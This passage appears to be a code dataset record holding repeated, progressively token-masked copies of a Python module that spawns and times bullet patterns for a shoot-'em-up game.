self._bulletSpawners.append(BulletSpawner(i, masterPositionList, master, enemy, spawningCycle))\n\n def calculateBullets(self) :\n returnList = []\n for i in self._bulletSpawners :\n returnList.extend(i.calculateBullets())\n\n return returnList\n \n\n \n \n", "from mg_cus_struct import *\nfrom mg_movement import *\nimport copy\n\n\nclass BulletTemplate(object):\n\n def __init__(self, animationName, initialVelocity, hitbox):\n self._spawningCycle = 0\n self._animationName = animationName\n self._initialVelocity = initialVelocity\n self._movementList = dict()\n self._hitbox = hitbox\n\n def addMovementCommand(self, cycle, movementCommand):\n self._movementList[cycle] = movementCommand\n\n\nclass BulletSpawnerTemplate(object):\n\n def __init__(self, initialPosition, initialVelocity):\n self._spawningCycle = 0\n self._initialPosition = initialPosition\n self._initialVelocity = initialVelocity\n self._movementList = dict()\n self._displacement = 0\n self._exitLocations = []\n self._rotationSpeed = 0\n self._initialDelay = 0\n self._sprayTimer = []\n self._inBetweenTimer = 0\n self._rounds = -1\n self._bulletTemplate = None\n self._maskName = ''\n self._maskLayer = 0\n\n def addSprayTimer(self, sprayTimer):\n self._sprayTimer.extend(sprayTimer)\n\n def setRounds(self, rounds):\n self._rounds = rounds\n\n def setInitialDelay(self, initialDelay):\n self._initialDelay = initialDelay\n\n def setInBetweenTimer(self, delay):\n self._inBetweenTimer = delay\n\n def addExitLocation(self, location):\n self._exitLocations.append(location)\n\n def addBulletTemplate(self, bulletTemplate):\n self._bulletTemplate = bulletTemplate\n\n def addMovementCommand(self, cycle, movementCommand):\n self._movementList[cycle] = movementCommand\n\n def addMask(self, maskName, maskLayer):\n self._maskName = maskName\n self._maskLayer = maskLayer\n\n\nclass BulletMasterTemplate(object):\n\n def __init__(self, name):\n self._name = name\n self._bulletSpawnerTemplates = []\n self._powerUpTable = {'life': 0, 'power': 0, 'spell': 0, 'points': 0}\n\n def addBulletSpawnerTemplates(self, bulletSpawnerTemplate):\n self._bulletSpawnerTemplates.append(bulletSpawnerTemplate)\n\n\nclass Bullet(MovementCommander):\n\n def __init__(self, bulletTemplate, position, exitAngle, master,\n spawningCycle):\n temp = copy.deepcopy(bulletTemplate._initialVelocity)\n temp._angle = temp._angle + exitAngle\n super().__init__(position, temp, spawningCycle)\n self.addStartingParameters(position, temp)\n self._animationName = bulletTemplate._animationName\n for i in bulletTemplate._movementList:\n self.addMovementCommandDirect(i, bulletTemplate._movementList[i])\n self.calculatePositions(master, master._playerPosition, [-100, -100,\n 1620, 1180], None)\n\n\nclass BulletSpawner(MovementCommander):\n\n def __init__(self, bulletSpawnerTemplate, masterPosition, master, enemy,\n spawningCycle):\n self._internalCounter = 0\n self._exitLocations = []\n self._displacement = 0.0\n self._master = master\n self._displacement = bulletSpawnerTemplate._displacement\n for i in bulletSpawnerTemplate._exitLocations:\n self._exitLocations.append(i)\n self._rotationSpeed = bulletSpawnerTemplate._rotationSpeed\n self._bulletTemplate = bulletSpawnerTemplate._bulletTemplate\n self._spawningCycle = enemy._spawningCycle\n self._seenCycle = enemy._spawningCycle\n self._deathCycle = enemy._deathCycle\n self._sprayTimer = bulletSpawnerTemplate._sprayTimer\n self._initialDelay = bulletSpawnerTemplate._initialDelay\n try:\n self._lengthOfSpray = max(self._sprayTimer)\n except ValueError:\n self._lengthOfSpray = 0\n self._inBetweenTimer = bulletSpawnerTemplate._inBetweenTimer\n self._rounds = bulletSpawnerTemplate._rounds\n super().__init__(bulletSpawnerTemplate._initialPosition,\n bulletSpawnerTemplate._initialVelocity, spawningCycle)\n self.calculatePositions(master, master._playerPosition, None,\n masterPosition)\n self._maskName = bulletSpawnerTemplate._maskName\n self._maskLayer = bulletSpawnerTemplate._maskLayer\n\n def calculateBullets(self):\n returnList = []\n mode = 'initialDelayMode'\n switchCounter = -1\n currentRound = 0\n for i in self._positionList:\n self._internalCounter = self._internalCounter + 1\n switchCounter = switchCounter + 1\n if mode == 'initialDelayMode':\n if switchCounter >= self._initialDelay:\n mode = 'sprayMode'\n switchCounter = -1\n self._seenCycle = (self._spawningCycle + self.\n _internalCounter)\n elif mode == 'sprayMode':\n if switchCounter in self._sprayTimer:\n for j in self._exitLocations:\n offset = CUS_Polar(self._displacement, j)\n pos = CUS_Point(0.0, 0.0)\n pos.add(toPoint(offset))\n pos._x = pos._x + i._x\n pos._y = pos._y + i._y\n bullet = Bullet(self._bulletTemplate, pos, j, self.\n _master, self._spawningCycle + self.\n _internalCounter)\n returnList.append(bullet)\n if switchCounter >= self._lengthOfSpray:\n mode = 'inBetweenTimerMode'\n currentRound = currentRound + 1\n switchCounter = -1\n elif mode == 'inBetweenTimerMode':\n if switchCounter >= self._inBetweenTimer:\n mode = 'sprayMode'\n switchCounter = -1\n if currentRound >= self._rounds and self._rounds is not -1:\n mode = 'sprayOverMode'\n self._deathCycle = (self._spawningCycle + self.\n _internalCounter)\n return returnList\n\n\nclass BulletMaster(object):\n\n def __init__(self, bulletMasterTemplate, masterPositionList, master,\n enemy, spawningCycle):\n self._name = bulletMasterTemplate._name\n self._bulletSpawners = []\n for i in bulletMasterTemplate._bulletSpawnerTemplates:\n self._bulletSpawners.append(BulletSpawner(i, masterPositionList,\n master, enemy, spawningCycle))\n\n def calculateBullets(self):\n returnList = []\n for i in self._bulletSpawners:\n returnList.extend(i.calculateBullets())\n return returnList\n", "<import token>\n\n\nclass BulletTemplate(object):\n\n def __init__(self, animationName, initialVelocity, hitbox):\n self._spawningCycle = 0\n self._animationName = animationName\n self._initialVelocity = initialVelocity\n self._movementList = dict()\n self._hitbox = hitbox\n\n def addMovementCommand(self, cycle, movementCommand):\n self._movementList[cycle] = movementCommand\n\n\nclass BulletSpawnerTemplate(object):\n\n def __init__(self, initialPosition, initialVelocity):\n self._spawningCycle = 0\n self._initialPosition = initialPosition\n self._initialVelocity = initialVelocity\n self._movementList = dict()\n self._displacement = 0\n self._exitLocations = []\n self._rotationSpeed = 0\n self._initialDelay = 0\n self._sprayTimer = []\n self._inBetweenTimer = 0\n self._rounds = -1\n self._bulletTemplate = None\n self._maskName = ''\n self._maskLayer = 0\n\n def addSprayTimer(self, sprayTimer):\n self._sprayTimer.extend(sprayTimer)\n\n def setRounds(self, rounds):\n self._rounds = rounds\n\n def setInitialDelay(self, initialDelay):\n self._initialDelay = initialDelay\n\n def setInBetweenTimer(self, delay):\n self._inBetweenTimer = delay\n\n def addExitLocation(self, location):\n self._exitLocations.append(location)\n\n def addBulletTemplate(self, bulletTemplate):\n self._bulletTemplate = bulletTemplate\n\n def addMovementCommand(self, cycle, movementCommand):\n self._movementList[cycle] = movementCommand\n\n def addMask(self, maskName, maskLayer):\n self._maskName = maskName\n self._maskLayer = maskLayer\n\n\nclass BulletMasterTemplate(object):\n\n def __init__(self, name):\n self._name = name\n self._bulletSpawnerTemplates = []\n self._powerUpTable = {'life': 0, 'power': 0, 'spell': 0, 'points': 0}\n\n def addBulletSpawnerTemplates(self, bulletSpawnerTemplate):\n self._bulletSpawnerTemplates.append(bulletSpawnerTemplate)\n\n\nclass Bullet(MovementCommander):\n\n def __init__(self, bulletTemplate, position, exitAngle, master,\n spawningCycle):\n temp = copy.deepcopy(bulletTemplate._initialVelocity)\n temp._angle = temp._angle + exitAngle\n super().__init__(position, temp, spawningCycle)\n self.addStartingParameters(position, temp)\n self._animationName = bulletTemplate._animationName\n for i in bulletTemplate._movementList:\n self.addMovementCommandDirect(i, bulletTemplate._movementList[i])\n self.calculatePositions(master, master._playerPosition, [-100, -100,\n 1620, 1180], None)\n\n\nclass BulletSpawner(MovementCommander):\n\n def __init__(self, bulletSpawnerTemplate, masterPosition, master, enemy,\n spawningCycle):\n self._internalCounter = 0\n self._exitLocations = []\n self._displacement = 0.0\n self._master = master\n self._displacement = bulletSpawnerTemplate._displacement\n for i in bulletSpawnerTemplate._exitLocations:\n self._exitLocations.append(i)\n self._rotationSpeed = bulletSpawnerTemplate._rotationSpeed\n self._bulletTemplate = bulletSpawnerTemplate._bulletTemplate\n self._spawningCycle = enemy._spawningCycle\n self._seenCycle = enemy._spawningCycle\n self._deathCycle = enemy._deathCycle\n self._sprayTimer = bulletSpawnerTemplate._sprayTimer\n self._initialDelay = bulletSpawnerTemplate._initialDelay\n try:\n self._lengthOfSpray = max(self._sprayTimer)\n except ValueError:\n self._lengthOfSpray = 0\n self._inBetweenTimer = bulletSpawnerTemplate._inBetweenTimer\n self._rounds = bulletSpawnerTemplate._rounds\n super().__init__(bulletSpawnerTemplate._initialPosition,\n bulletSpawnerTemplate._initialVelocity, spawningCycle)\n self.calculatePositions(master, master._playerPosition, None,\n masterPosition)\n self._maskName = bulletSpawnerTemplate._maskName\n self._maskLayer = bulletSpawnerTemplate._maskLayer\n\n def calculateBullets(self):\n returnList = []\n mode = 'initialDelayMode'\n switchCounter = -1\n currentRound = 0\n for i in self._positionList:\n self._internalCounter = self._internalCounter + 1\n switchCounter = switchCounter + 1\n if mode == 'initialDelayMode':\n if switchCounter >= self._initialDelay:\n mode = 'sprayMode'\n switchCounter = -1\n self._seenCycle = (self._spawningCycle + self.\n _internalCounter)\n elif mode == 'sprayMode':\n if switchCounter in self._sprayTimer:\n for j in self._exitLocations:\n offset = CUS_Polar(self._displacement, j)\n pos = CUS_Point(0.0, 0.0)\n pos.add(toPoint(offset))\n pos._x = pos._x + i._x\n pos._y = pos._y + i._y\n bullet = Bullet(self._bulletTemplate, pos, j, self.\n _master, self._spawningCycle + self.\n _internalCounter)\n returnList.append(bullet)\n if switchCounter >= self._lengthOfSpray:\n mode = 'inBetweenTimerMode'\n currentRound = currentRound + 1\n switchCounter = -1\n elif mode == 'inBetweenTimerMode':\n if switchCounter >= self._inBetweenTimer:\n mode = 'sprayMode'\n switchCounter = -1\n if currentRound >= self._rounds and self._rounds is not -1:\n mode = 'sprayOverMode'\n self._deathCycle = (self._spawningCycle + self.\n _internalCounter)\n return returnList\n\n\nclass BulletMaster(object):\n\n def __init__(self, bulletMasterTemplate, masterPositionList, master,\n enemy, spawningCycle):\n self._name = bulletMasterTemplate._name\n self._bulletSpawners = []\n for i in bulletMasterTemplate._bulletSpawnerTemplates:\n self._bulletSpawners.append(BulletSpawner(i, masterPositionList,\n master, enemy, spawningCycle))\n\n def calculateBullets(self):\n returnList = []\n for i in self._bulletSpawners:\n returnList.extend(i.calculateBullets())\n return returnList\n", "<import token>\n\n\nclass BulletTemplate(object):\n\n def __init__(self, animationName, initialVelocity, hitbox):\n self._spawningCycle = 0\n self._animationName = animationName\n self._initialVelocity = initialVelocity\n self._movementList = dict()\n self._hitbox = hitbox\n <function token>\n\n\nclass BulletSpawnerTemplate(object):\n\n def __init__(self, initialPosition, initialVelocity):\n self._spawningCycle = 0\n self._initialPosition = initialPosition\n self._initialVelocity = initialVelocity\n self._movementList = dict()\n self._displacement = 0\n self._exitLocations = []\n self._rotationSpeed = 0\n self._initialDelay = 0\n self._sprayTimer = []\n self._inBetweenTimer = 0\n self._rounds = -1\n self._bulletTemplate = None\n self._maskName = ''\n self._maskLayer = 0\n\n def addSprayTimer(self, sprayTimer):\n self._sprayTimer.extend(sprayTimer)\n\n def setRounds(self, rounds):\n self._rounds = rounds\n\n def setInitialDelay(self, initialDelay):\n self._initialDelay = initialDelay\n\n def setInBetweenTimer(self, delay):\n self._inBetweenTimer = delay\n\n def addExitLocation(self, location):\n self._exitLocations.append(location)\n\n def addBulletTemplate(self, bulletTemplate):\n self._bulletTemplate = bulletTemplate\n\n def addMovementCommand(self, cycle, movementCommand):\n self._movementList[cycle] = movementCommand\n\n def addMask(self, maskName, maskLayer):\n self._maskName = maskName\n self._maskLayer = maskLayer\n\n\nclass BulletMasterTemplate(object):\n\n def __init__(self, name):\n self._name = name\n self._bulletSpawnerTemplates = []\n self._powerUpTable = {'life': 0, 'power': 0, 'spell': 0, 'points': 0}\n\n def addBulletSpawnerTemplates(self, bulletSpawnerTemplate):\n self._bulletSpawnerTemplates.append(bulletSpawnerTemplate)\n\n\nclass Bullet(MovementCommander):\n\n def __init__(self, bulletTemplate, position, exitAngle, master,\n spawningCycle):\n temp = copy.deepcopy(bulletTemplate._initialVelocity)\n temp._angle = temp._angle + exitAngle\n super().__init__(position, temp, spawningCycle)\n self.addStartingParameters(position, temp)\n self._animationName = bulletTemplate._animationName\n for i in bulletTemplate._movementList:\n self.addMovementCommandDirect(i, bulletTemplate._movementList[i])\n self.calculatePositions(master, master._playerPosition, [-100, -100,\n 1620, 1180], None)\n\n\nclass BulletSpawner(MovementCommander):\n\n def __init__(self, bulletSpawnerTemplate, masterPosition, master, enemy,\n spawningCycle):\n self._internalCounter = 0\n self._exitLocations = []\n self._displacement = 0.0\n self._master = master\n self._displacement = bulletSpawnerTemplate._displacement\n for i in bulletSpawnerTemplate._exitLocations:\n self._exitLocations.append(i)\n self._rotationSpeed = bulletSpawnerTemplate._rotationSpeed\n self._bulletTemplate = bulletSpawnerTemplate._bulletTemplate\n self._spawningCycle = enemy._spawningCycle\n self._seenCycle = enemy._spawningCycle\n self._deathCycle = enemy._deathCycle\n self._sprayTimer = bulletSpawnerTemplate._sprayTimer\n self._initialDelay = bulletSpawnerTemplate._initialDelay\n try:\n self._lengthOfSpray = max(self._sprayTimer)\n except ValueError:\n self._lengthOfSpray = 0\n self._inBetweenTimer = bulletSpawnerTemplate._inBetweenTimer\n self._rounds = bulletSpawnerTemplate._rounds\n super().__init__(bulletSpawnerTemplate._initialPosition,\n bulletSpawnerTemplate._initialVelocity, spawningCycle)\n self.calculatePositions(master, master._playerPosition, None,\n masterPosition)\n self._maskName = bulletSpawnerTemplate._maskName\n self._maskLayer = bulletSpawnerTemplate._maskLayer\n\n def calculateBullets(self):\n returnList = []\n mode = 'initialDelayMode'\n switchCounter = -1\n currentRound = 0\n for i in self._positionList:\n self._internalCounter = self._internalCounter + 1\n switchCounter = switchCounter + 1\n if mode == 'initialDelayMode':\n if switchCounter >= self._initialDelay:\n mode = 'sprayMode'\n switchCounter = -1\n self._seenCycle = (self._spawningCycle + self.\n _internalCounter)\n elif mode == 'sprayMode':\n if switchCounter in self._sprayTimer:\n for j in self._exitLocations:\n offset = CUS_Polar(self._displacement, j)\n pos = CUS_Point(0.0, 0.0)\n pos.add(toPoint(offset))\n pos._x = pos._x + i._x\n pos._y = pos._y + i._y\n bullet = Bullet(self._bulletTemplate, pos, j, self.\n _master, self._spawningCycle + self.\n _internalCounter)\n returnList.append(bullet)\n if switchCounter >= self._lengthOfSpray:\n mode = 'inBetweenTimerMode'\n currentRound = currentRound + 1\n switchCounter = -1\n elif mode == 'inBetweenTimerMode':\n if switchCounter >= self._inBetweenTimer:\n mode = 'sprayMode'\n switchCounter = -1\n if currentRound >= self._rounds and self._rounds is not -1:\n mode = 'sprayOverMode'\n self._deathCycle = (self._spawningCycle + self.\n _internalCounter)\n return returnList\n\n\nclass BulletMaster(object):\n\n def __init__(self, bulletMasterTemplate, masterPositionList, master,\n enemy, spawningCycle):\n self._name = bulletMasterTemplate._name\n self._bulletSpawners = []\n for i in bulletMasterTemplate._bulletSpawnerTemplates:\n self._bulletSpawners.append(BulletSpawner(i, masterPositionList,\n master, enemy, spawningCycle))\n\n def calculateBullets(self):\n returnList = []\n for i in self._bulletSpawners:\n returnList.extend(i.calculateBullets())\n return returnList\n", "<import token>\n\n\nclass BulletTemplate(object):\n <function token>\n <function token>\n\n\nclass BulletSpawnerTemplate(object):\n\n def __init__(self, initialPosition, initialVelocity):\n self._spawningCycle = 0\n self._initialPosition = initialPosition\n self._initialVelocity = initialVelocity\n self._movementList = dict()\n self._displacement = 0\n self._exitLocations = []\n self._rotationSpeed = 0\n self._initialDelay = 0\n self._sprayTimer = []\n self._inBetweenTimer = 0\n self._rounds = -1\n self._bulletTemplate = None\n self._maskName = ''\n self._maskLayer = 0\n\n def addSprayTimer(self, sprayTimer):\n self._sprayTimer.extend(sprayTimer)\n\n def setRounds(self, rounds):\n self._rounds = rounds\n\n def setInitialDelay(self, initialDelay):\n self._initialDelay = initialDelay\n\n def setInBetweenTimer(self, delay):\n self._inBetweenTimer = delay\n\n def addExitLocation(self, location):\n self._exitLocations.append(location)\n\n def addBulletTemplate(self, bulletTemplate):\n self._bulletTemplate = bulletTemplate\n\n def addMovementCommand(self, cycle, movementCommand):\n self._movementList[cycle] = movementCommand\n\n def addMask(self, maskName, maskLayer):\n self._maskName = maskName\n self._maskLayer = maskLayer\n\n\nclass BulletMasterTemplate(object):\n\n def __init__(self, name):\n self._name = name\n self._bulletSpawnerTemplates = []\n self._powerUpTable = {'life': 0, 'power': 0, 'spell': 0, 'points': 0}\n\n def addBulletSpawnerTemplates(self, bulletSpawnerTemplate):\n self._bulletSpawnerTemplates.append(bulletSpawnerTemplate)\n\n\nclass Bullet(MovementCommander):\n\n def __init__(self, bulletTemplate, position, exitAngle, master,\n spawningCycle):\n temp = copy.deepcopy(bulletTemplate._initialVelocity)\n temp._angle = temp._angle + exitAngle\n super().__init__(position, temp, spawningCycle)\n self.addStartingParameters(position, temp)\n self._animationName = bulletTemplate._animationName\n for i in bulletTemplate._movementList:\n self.addMovementCommandDirect(i, bulletTemplate._movementList[i])\n self.calculatePositions(master, master._playerPosition, [-100, -100,\n 1620, 1180], None)\n\n\nclass BulletSpawner(MovementCommander):\n\n def __init__(self, bulletSpawnerTemplate, masterPosition, master, enemy,\n spawningCycle):\n self._internalCounter = 0\n self._exitLocations = []\n self._displacement = 0.0\n self._master = master\n self._displacement = bulletSpawnerTemplate._displacement\n for i in bulletSpawnerTemplate._exitLocations:\n self._exitLocations.append(i)\n self._rotationSpeed = bulletSpawnerTemplate._rotationSpeed\n self._bulletTemplate = bulletSpawnerTemplate._bulletTemplate\n self._spawningCycle = enemy._spawningCycle\n self._seenCycle = enemy._spawningCycle\n self._deathCycle = enemy._deathCycle\n self._sprayTimer = bulletSpawnerTemplate._sprayTimer\n self._initialDelay = bulletSpawnerTemplate._initialDelay\n try:\n self._lengthOfSpray = max(self._sprayTimer)\n except ValueError:\n self._lengthOfSpray = 0\n self._inBetweenTimer = bulletSpawnerTemplate._inBetweenTimer\n self._rounds = bulletSpawnerTemplate._rounds\n super().__init__(bulletSpawnerTemplate._initialPosition,\n bulletSpawnerTemplate._initialVelocity, spawningCycle)\n self.calculatePositions(master, master._playerPosition, None,\n masterPosition)\n self._maskName = bulletSpawnerTemplate._maskName\n self._maskLayer = bulletSpawnerTemplate._maskLayer\n\n def calculateBullets(self):\n returnList = []\n mode = 'initialDelayMode'\n switchCounter = -1\n currentRound = 0\n for i in self._positionList:\n self._internalCounter = self._internalCounter + 1\n switchCounter = switchCounter + 1\n if mode == 'initialDelayMode':\n if switchCounter >= self._initialDelay:\n mode = 'sprayMode'\n switchCounter = -1\n self._seenCycle = (self._spawningCycle + self.\n _internalCounter)\n elif mode == 'sprayMode':\n if switchCounter in self._sprayTimer:\n for j in self._exitLocations:\n offset = CUS_Polar(self._displacement, j)\n pos = CUS_Point(0.0, 0.0)\n pos.add(toPoint(offset))\n pos._x = pos._x + i._x\n pos._y = pos._y + i._y\n bullet = Bullet(self._bulletTemplate, pos, j, self.\n _master, self._spawningCycle + self.\n _internalCounter)\n returnList.append(bullet)\n if switchCounter >= self._lengthOfSpray:\n mode = 'inBetweenTimerMode'\n currentRound = currentRound + 1\n switchCounter = -1\n elif mode == 'inBetweenTimerMode':\n if switchCounter >= self._inBetweenTimer:\n mode = 'sprayMode'\n switchCounter = -1\n if currentRound >= self._rounds and self._rounds is not -1:\n mode = 'sprayOverMode'\n self._deathCycle = (self._spawningCycle + self.\n _internalCounter)\n return returnList\n\n\nclass BulletMaster(object):\n\n def __init__(self, bulletMasterTemplate, masterPositionList, master,\n enemy, spawningCycle):\n self._name = bulletMasterTemplate._name\n self._bulletSpawners = []\n for i in bulletMasterTemplate._bulletSpawnerTemplates:\n self._bulletSpawners.append(BulletSpawner(i, masterPositionList,\n master, enemy, spawningCycle))\n\n def calculateBullets(self):\n returnList = []\n for i in self._bulletSpawners:\n returnList.extend(i.calculateBullets())\n return returnList\n", "<import token>\n<class token>\n\n\nclass BulletSpawnerTemplate(object):\n\n def __init__(self, initialPosition, initialVelocity):\n self._spawningCycle = 0\n self._initialPosition = initialPosition\n self._initialVelocity = initialVelocity\n self._movementList = dict()\n self._displacement = 0\n self._exitLocations = []\n self._rotationSpeed = 0\n self._initialDelay = 0\n self._sprayTimer = []\n self._inBetweenTimer = 0\n self._rounds = -1\n self._bulletTemplate = None\n self._maskName = ''\n self._maskLayer = 0\n\n def addSprayTimer(self, sprayTimer):\n self._sprayTimer.extend(sprayTimer)\n\n def setRounds(self, rounds):\n self._rounds = rounds\n\n def setInitialDelay(self, initialDelay):\n self._initialDelay = initialDelay\n\n def setInBetweenTimer(self, delay):\n self._inBetweenTimer = delay\n\n def addExitLocation(self, location):\n self._exitLocations.append(location)\n\n def addBulletTemplate(self, bulletTemplate):\n self._bulletTemplate = bulletTemplate\n\n def addMovementCommand(self, cycle, movementCommand):\n self._movementList[cycle] = movementCommand\n\n def addMask(self, maskName, maskLayer):\n self._maskName = maskName\n self._maskLayer = maskLayer\n\n\nclass BulletMasterTemplate(object):\n\n def __init__(self, name):\n self._name = name\n self._bulletSpawnerTemplates = []\n self._powerUpTable = {'life': 0, 'power': 0, 'spell': 0, 'points': 0}\n\n def addBulletSpawnerTemplates(self, bulletSpawnerTemplate):\n self._bulletSpawnerTemplates.append(bulletSpawnerTemplate)\n\n\nclass Bullet(MovementCommander):\n\n def __init__(self, bulletTemplate, position, exitAngle, master,\n spawningCycle):\n temp = copy.deepcopy(bulletTemplate._initialVelocity)\n temp._angle = temp._angle + exitAngle\n super().__init__(position, temp, spawningCycle)\n self.addStartingParameters(position, temp)\n self._animationName = bulletTemplate._animationName\n for i in bulletTemplate._movementList:\n self.addMovementCommandDirect(i, bulletTemplate._movementList[i])\n self.calculatePositions(master, master._playerPosition, [-100, -100,\n 1620, 1180], None)\n\n\nclass BulletSpawner(MovementCommander):\n\n def __init__(self, bulletSpawnerTemplate, masterPosition, master, enemy,\n spawningCycle):\n self._internalCounter = 0\n self._exitLocations = []\n self._displacement = 0.0\n self._master = master\n self._displacement = bulletSpawnerTemplate._displacement\n for i in bulletSpawnerTemplate._exitLocations:\n self._exitLocations.append(i)\n self._rotationSpeed = bulletSpawnerTemplate._rotationSpeed\n self._bulletTemplate = bulletSpawnerTemplate._bulletTemplate\n self._spawningCycle = enemy._spawningCycle\n self._seenCycle = enemy._spawningCycle\n self._deathCycle = enemy._deathCycle\n self._sprayTimer = bulletSpawnerTemplate._sprayTimer\n self._initialDelay = bulletSpawnerTemplate._initialDelay\n try:\n self._lengthOfSpray = max(self._sprayTimer)\n except ValueError:\n self._lengthOfSpray = 0\n self._inBetweenTimer = bulletSpawnerTemplate._inBetweenTimer\n self._rounds = bulletSpawnerTemplate._rounds\n super().__init__(bulletSpawnerTemplate._initialPosition,\n bulletSpawnerTemplate._initialVelocity, spawningCycle)\n self.calculatePositions(master, master._playerPosition, None,\n masterPosition)\n self._maskName = bulletSpawnerTemplate._maskName\n self._maskLayer = bulletSpawnerTemplate._maskLayer\n\n def calculateBullets(self):\n returnList = []\n mode = 'initialDelayMode'\n switchCounter = -1\n currentRound = 0\n for i in self._positionList:\n self._internalCounter = self._internalCounter + 1\n switchCounter = switchCounter + 1\n if mode == 'initialDelayMode':\n if switchCounter >= self._initialDelay:\n mode = 'sprayMode'\n switchCounter = -1\n self._seenCycle = (self._spawningCycle + self.\n _internalCounter)\n elif mode == 'sprayMode':\n if switchCounter in self._sprayTimer:\n for j in self._exitLocations:\n offset = CUS_Polar(self._displacement, j)\n pos = CUS_Point(0.0, 0.0)\n pos.add(toPoint(offset))\n pos._x = pos._x + i._x\n pos._y = pos._y + i._y\n bullet = Bullet(self._bulletTemplate, pos, j, self.\n _master, self._spawningCycle + self.\n _internalCounter)\n returnList.append(bullet)\n if switchCounter >= self._lengthOfSpray:\n mode = 'inBetweenTimerMode'\n currentRound = currentRound + 1\n switchCounter = -1\n elif mode == 'inBetweenTimerMode':\n if switchCounter >= self._inBetweenTimer:\n mode = 'sprayMode'\n switchCounter = -1\n if currentRound >= self._rounds and self._rounds is not -1:\n mode = 'sprayOverMode'\n self._deathCycle = (self._spawningCycle + self.\n _internalCounter)\n return returnList\n\n\nclass BulletMaster(object):\n\n def __init__(self, bulletMasterTemplate, masterPositionList, master,\n enemy, spawningCycle):\n self._name = bulletMasterTemplate._name\n self._bulletSpawners = []\n for i in bulletMasterTemplate._bulletSpawnerTemplates:\n self._bulletSpawners.append(BulletSpawner(i, masterPositionList,\n master, enemy, spawningCycle))\n\n def calculateBullets(self):\n returnList = []\n for i in self._bulletSpawners:\n returnList.extend(i.calculateBullets())\n return returnList\n", "<import token>\n<class token>\n\n\nclass BulletSpawnerTemplate(object):\n\n def __init__(self, initialPosition, initialVelocity):\n self._spawningCycle = 0\n self._initialPosition = initialPosition\n self._initialVelocity = initialVelocity\n self._movementList = dict()\n self._displacement = 0\n self._exitLocations = []\n self._rotationSpeed = 0\n self._initialDelay = 0\n self._sprayTimer = []\n self._inBetweenTimer = 0\n self._rounds = -1\n self._bulletTemplate = None\n self._maskName = ''\n self._maskLayer = 0\n <function token>\n\n def setRounds(self, rounds):\n self._rounds = rounds\n\n def setInitialDelay(self, initialDelay):\n self._initialDelay = initialDelay\n\n def setInBetweenTimer(self, delay):\n self._inBetweenTimer = delay\n\n def addExitLocation(self, location):\n self._exitLocations.append(location)\n\n def addBulletTemplate(self, bulletTemplate):\n self._bulletTemplate = bulletTemplate\n\n def addMovementCommand(self, cycle, movementCommand):\n self._movementList[cycle] = movementCommand\n\n def addMask(self, maskName, maskLayer):\n self._maskName = maskName\n self._maskLayer = maskLayer\n\n\nclass BulletMasterTemplate(object):\n\n def __init__(self, name):\n self._name = name\n self._bulletSpawnerTemplates = []\n self._powerUpTable = {'life': 0, 'power': 0, 'spell': 0, 'points': 0}\n\n def addBulletSpawnerTemplates(self, bulletSpawnerTemplate):\n self._bulletSpawnerTemplates.append(bulletSpawnerTemplate)\n\n\nclass Bullet(MovementCommander):\n\n def __init__(self, bulletTemplate, position, exitAngle, master,\n spawningCycle):\n temp = copy.deepcopy(bulletTemplate._initialVelocity)\n temp._angle = temp._angle + exitAngle\n super().__init__(position, temp, spawningCycle)\n self.addStartingParameters(position, temp)\n self._animationName = bulletTemplate._animationName\n for i in bulletTemplate._movementList:\n self.addMovementCommandDirect(i, bulletTemplate._movementList[i])\n self.calculatePositions(master, master._playerPosition, [-100, -100,\n 1620, 1180], None)\n\n\nclass BulletSpawner(MovementCommander):\n\n def __init__(self, bulletSpawnerTemplate, masterPosition, master, enemy,\n spawningCycle):\n self._internalCounter = 0\n self._exitLocations = []\n self._displacement = 0.0\n self._master = master\n self._displacement = bulletSpawnerTemplate._displacement\n for i in bulletSpawnerTemplate._exitLocations:\n self._exitLocations.append(i)\n self._rotationSpeed = bulletSpawnerTemplate._rotationSpeed\n self._bulletTemplate = bulletSpawnerTemplate._bulletTemplate\n self._spawningCycle = enemy._spawningCycle\n self._seenCycle = enemy._spawningCycle\n self._deathCycle = enemy._deathCycle\n self._sprayTimer = bulletSpawnerTemplate._sprayTimer\n self._initialDelay = bulletSpawnerTemplate._initialDelay\n try:\n self._lengthOfSpray = max(self._sprayTimer)\n except ValueError:\n self._lengthOfSpray = 0\n self._inBetweenTimer = bulletSpawnerTemplate._inBetweenTimer\n self._rounds = bulletSpawnerTemplate._rounds\n super().__init__(bulletSpawnerTemplate._initialPosition,\n bulletSpawnerTemplate._initialVelocity, spawningCycle)\n self.calculatePositions(master, master._playerPosition, None,\n masterPosition)\n self._maskName = bulletSpawnerTemplate._maskName\n self._maskLayer = bulletSpawnerTemplate._maskLayer\n\n def calculateBullets(self):\n returnList = []\n mode = 'initialDelayMode'\n switchCounter = -1\n currentRound = 0\n for i in self._positionList:\n self._internalCounter = self._internalCounter + 1\n switchCounter = switchCounter + 1\n if mode == 'initialDelayMode':\n if switchCounter >= self._initialDelay:\n mode = 'sprayMode'\n switchCounter = -1\n self._seenCycle = (self._spawningCycle + self.\n _internalCounter)\n elif mode == 'sprayMode':\n if switchCounter in self._sprayTimer:\n for j in self._exitLocations:\n offset = CUS_Polar(self._displacement, j)\n pos = CUS_Point(0.0, 0.0)\n pos.add(toPoint(offset))\n pos._x = pos._x + i._x\n pos._y = pos._y + i._y\n bullet = Bullet(self._bulletTemplate, pos, j, self.\n _master, self._spawningCycle + self.\n _internalCounter)\n returnList.append(bullet)\n if switchCounter >= self._lengthOfSpray:\n mode = 'inBetweenTimerMode'\n currentRound = currentRound + 1\n switchCounter = -1\n elif mode == 'inBetweenTimerMode':\n if switchCounter >= self._inBetweenTimer:\n mode = 'sprayMode'\n switchCounter = -1\n if currentRound >= self._rounds and self._rounds is not -1:\n mode = 'sprayOverMode'\n self._deathCycle = (self._spawningCycle + self.\n _internalCounter)\n return returnList\n\n\nclass BulletMaster(object):\n\n def __init__(self, bulletMasterTemplate, masterPositionList, master,\n enemy, spawningCycle):\n self._name = bulletMasterTemplate._name\n self._bulletSpawners = []\n for i in bulletMasterTemplate._bulletSpawnerTemplates:\n self._bulletSpawners.append(BulletSpawner(i, masterPositionList,\n master, enemy, spawningCycle))\n\n def calculateBullets(self):\n returnList = []\n for i in self._bulletSpawners:\n returnList.extend(i.calculateBullets())\n return returnList\n", "<import token>\n<class token>\n\n\nclass BulletSpawnerTemplate(object):\n\n def __init__(self, initialPosition, initialVelocity):\n self._spawningCycle = 0\n self._initialPosition = initialPosition\n self._initialVelocity = initialVelocity\n self._movementList = dict()\n self._displacement = 0\n self._exitLocations = []\n self._rotationSpeed = 0\n self._initialDelay = 0\n self._sprayTimer = []\n self._inBetweenTimer = 0\n self._rounds = -1\n self._bulletTemplate = 